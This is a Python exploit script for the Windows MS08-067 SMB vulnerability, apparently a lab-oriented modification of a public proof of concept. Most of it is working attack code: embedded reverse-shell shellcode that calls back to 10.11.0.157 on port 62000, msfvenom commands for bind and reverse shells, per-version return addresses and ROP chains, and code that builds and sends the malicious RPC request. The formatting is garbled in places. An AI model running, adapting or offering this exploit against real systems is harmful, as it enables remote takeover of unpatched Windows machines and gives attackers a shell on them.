ms08_067
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andyacer
python3version
#!/usr/bin/env python import struct import time import sys from threading import Thread # Thread is imported incase you would like to modify
try: from impacket import smb from impacket import uuid #from impacket.dcerpc import dcerpc from impacket.dcerpc.v5 import transport
except ImportError as _: print('Install the following library to make this script work') print('Impacket : https://github.com/CoreSecurity/impacket.git') print('PyCrypto : https://pypi.python.org/pypi/pycrypto') sys.exit(1)
print('#######################################################################') print('# MS08-067 Exploit') print('# This is a modified verion of Debasis Mohanty's code (https://www.exploit-db.com/exploits/7132/).') print('# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi') print('#') print('# Mod in 2018 by Andy Acer:') print('# - Added support for selecting a target port at the command line.') print('# It seemed that only 445 was previously supported.') print('# - Changed library calls to correctly establish a NetBIOS session for SMB transport') print('# - Changed shellcode handling to allow for variable length shellcode. Just cut and paste') print('# into this source file.') print('#######################################################################\n')
------------------------------------------------------------------------
REPLACE THIS SHELLCODE with shellcode generated for your use
Note that length checking logic follows this section, so there's no need to count bytes or bother with NOPS.
Example msfvenom commands to generate shellcode:
msfvenom -p windows/shell_bind_tcp RHOST=10.11.1.229 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
Reverse TCP to 10.11.0.157 port 62000:
shellcode=( "\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e" "\x42\xf6\xc3\xef\x83\xee\xfc\xe2\xf4\xbe\x1e\x41\xef\x42\xf6" "\xa3\x66\xa7\xc7\x03\x8b\xc9\xa6\xf3\x64\x10\xfa\x48\xbd\x56" "\x7d\xb1\xc7\x4d\x41\x89\xc9\x73\x09\x6f\xd3\x23\x8a\xc1\xc3" "\x62\x37\x0c\xe2\x43\x31\x21\x1d\x10\xa1\x48\xbd\x52\x7d\x89" "\xd3\xc9\xba\xd2\x97\xa1\xbe\xc2\x3e\x13\x7d\x9a\xcf\x43\x25" "\x48\xa6\x5a\x15\xf9\xa6\xc9\xc2\x48\xee\x94\xc7\x3c\x43\x83" "\x39\xce\xee\x85\xce\x23\x9a\xb4\xf5\xbe\x17\x79\x8b\xe7\x9a" "\xa6\xae\x48\xb7\x66\xf7\x10\x89\xc9\xfa\x88\x64\x1a\xea\xc2" "\x3c\xc9\xf2\x48\xee\x92\x7f\x87\xcb\x66\xad\x98\x8e\x1b\xac" "\x92\x10\xa2\xa9\x9c\xb5\xc9\xe4\x28\x62\x1f\x9e\xf0\xdd\x42" "\xf6\xab\x98\x31\xc4\x9c\xbb\x2a\xba\xb4\xc9\x45\x09\x16\x57" "\xd2\xf7\xc3\xef\x6b\x32\x97\xbf\x2a\xdf\x43\x84\x42\x09\x16" "\xbf\x12\xa6\x93\xaf\x12\xb6\x93\x87\xa8\xf9\x1c\x0f\xbd\x23" "\x54\x85\x47\x9e\xc9\xe4\x42\x6b\xab\xed\x42\x04\xf3\x66\xa4" "\x9c\xd3\xb9\x15\x9e\x5a\x4a\x36\x97\x3c\x3a\xc7\x36\xb7\xe3" "\xbd\xb8\xcb\x9a\xae\x9e\x33\x5a\xe0\xa0\x3c\x3a\x2a\x95\xae" "\x8b\x42\x7f\x20\xb8\x15\xa1\xf2\x19\x28\xe4\x9a\xb9\xa0\x0b" "\xa5\x28\x06\xd2\xff\xee\x43\x7b\x87\xcb\x52\x30\xc3\xab\x16" "\xa6\x95\xb9\x14\xb0\x95\xa1\x14\xa0\x90\xb9\x2a\x8f\x0f\xd0" "\xc4\x09\x16\x66\xa2\xb8\x95\xa9\xbd\xc6\xab\xe7\xc5\xeb\xa3" "\x10\x97\x4d\x23\xf2\x68\xfc\xab\x49\xd7\x4b\x5e\x10\x97\xca" "\xc5\x93\x48\x76\x38\x0f\x37\xf3\x78\xa8\x51\x84\xac\x85\x42" "\xa5\x3c\x3a" )
------------------------------------------------------------------------
Gotta make No-Ops (NOPS) + shellcode = 410 bytes
num_nops = 410 - len(shellcode) newshellcode = "\x90" * num_nops newshellcode += shellcode # Add NOPS to the front shellcode = newshellcode # Switcheroo with the newshellcode temp variable
#print "Shellcode length: %s\n\n" % len(shellcode)
nonxjmper = "\x08\x04\x02\x00%s" + "A" * 4 + "%s" +
"A" * 42 + "\x90" * 8 + "\xeb\x62" + "A" * 10
disableNXjumper = "\x08\x04\x02\x00%s%s%s" + "A" *
28 + "%s" + "\xeb\x02" + "\x90" * 2 + "\xeb\x62"
ropjumper = "\x00\x08\x01\x00" + "%s" + "\x10\x01\x04\x01";
module_base = 0x6f880000
def generate_rop(rvas): gadget1 = "\x90\x5a\x59\xc3" gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"] gadget3 = "\xcc\x90\xeb\x5a" ret = struct.pack('<L', 0x00018000) ret += struct.pack('<L', rvas['call_HeapCreate'] + module_base) ret += struct.pack('<L', 0x01040110) ret += struct.pack('<L', 0x01010101) ret += struct.pack('<L', 0x01010101) ret += struct.pack('<L', rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret'] + module_base) ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base) ret += gadget1 ret += struct.pack('<L', rvas['mov [eax], ecx / ret'] + module_base) ret += struct.pack('<L', rvas['jmp eax'] + module_base) ret += gadget2[0] ret += gadget2[1] ret += struct.pack('<L', rvas[ 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret'] + module_base) ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base) ret += gadget2[2] ret += struct.pack('<L', rvas['mov [eax+0x10], ecx / ret'] + module_base) ret += struct.pack('<L', rvas['add eax, 8 / ret'] + module_base) ret += struct.pack('<L', rvas['jmp eax'] + module_base) ret += gadget3 return ret
class SRVSVC_Exploit(Thread): def init(self, target, os, port=445): super(SRVSVC_Exploit, self).init()
# MODIFIED HERE
# Changed __port to port ... not sure if that does anything. I'm a newb.
self.port = port
self.target = target
self.os = os
def __DCEPacket(self):
if (self.os == '1'):
print('Windows XP SP0/SP1 Universal\n')
ret = "\x61\x13\x00\x01"
jumper = nonxjmper % (ret, ret)
elif (self.os == '2'):
print('Windows 2000 Universal\n')
ret = "\xb0\x1c\x1f\x00"
jumper = nonxjmper % (ret, ret)
elif (self.os == '3'):
print('Windows 2003 SP0 Universal\n')
ret = "\x9e\x12\x00\x01" # 0x01 00 12 9e
jumper = nonxjmper % (ret, ret)
elif (self.os == '4'):
print('Windows 2003 SP1 English\n')
ret_dec = "\x8c\x56\x90\x7c" # 0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
ret_pop = "\xf4\x7c\xa2\x7c" # 0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
jmp_esp = "\xd3\xfe\x86\x7c" # 0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
disable_nx = "\x13\xe4\x83\x7c" # 0x 7c 83 e4 13 NX disable @NTDLL.DLL
jumper = disableNXjumper % (
ret_dec * 6, ret_pop, disable_nx, jmp_esp * 2)
elif (self.os == '5'):
print('Windows XP SP3 French (NX)\n')
ret = "\x07\xf8\x5b\x59" # 0x59 5b f8 07
disable_nx = "\xc2\x17\x5c\x59" # 0x59 5c 17 c2
# the nonxjmper also work in this case.
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '6'):
print('Windows XP SP3 English (NX)\n')
ret = "\x07\xf8\x88\x6f" # 0x6f 88 f8 07
disable_nx = "\xc2\x17\x89\x6f" # 0x6f 89 17 c2
# the nonxjmper also work in this case.
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '7'):
print('Windows XP SP3 English (AlwaysOn NX)\n')
rvasets = {'call_HeapCreate': 0x21286, 'add eax, ebp / mov ecx, 0x59ffffa8 / ret': 0x2e796, 'pop ecx / ret': 0x2e796 + 6,
'mov [eax], ecx / ret': 0xd296, 'jmp eax': 0x19c6f, 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret': 0x10a56, 'mov [eax+0x10], ecx / ret': 0x10a56 + 6, 'add eax, 8 / ret': 0x29c64}
# the nonxjmper also work in this case.
jumper = generate_rop(rvasets) + "AB"
else:
print('Not supported OS version\n')
sys.exit(-1)
print('[-]Initiating connection')
# MORE MODIFICATIONS HERE #############################################################################################
if (self.port == '445'):
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
else:
# DCERPCTransportFactory doesn't call SMBTransport with necessary parameters. Calling directly here.
# *SMBSERVER is used to force the library to query the server for its NetBIOS name and use that to
# establish a NetBIOS Session. The NetBIOS session shows as NBSS in Wireshark.
self.__trans = transport.SMBTransport(remoteName='*SMBSERVER', remote_host='%s' % self.target, dstport = int(self.port), filename = '\\browser' )
self.__trans.connect()
print('[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target)
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(
('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
path = "\x5c\x00" + "ABCDEFGHIJ" * 10 + shellcode + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + \
"\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2
server = "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
prefix = "\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"
# NEW HOTNESS
# The Path Length and the "Actual Count" SMB parameter have to match. Path length in bytes
# is double the ActualCount field. MaxCount also seems to match. These fields in the SMB protocol
# store hex values in reverse byte order. So: 36 01 00 00 => 00 00 01 36 => 310. No idea why it's "doubled"
# from 310 to 620. 620 = 410 shellcode + extra stuff in the path.
MaxCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620.
Offset = "\x00\x00\x00\x00"
ActualCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620
self.__stub = server + MaxCount + Offset + ActualCount + \
path + "\xE8\x03\x00\x00" + prefix + "\x01\x10\x00\x00\x00\x00\x00\x00"
return
def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub)
time.sleep(3)
print('Exploit finish\n')
if name == 'main':
try:
target = sys.argv[1]
os = sys.argv[2]
port = sys.argv[3]
except IndexError:
print('\nUsage: %s
current = SRVSVC_Exploit(target, os, port) current.start()
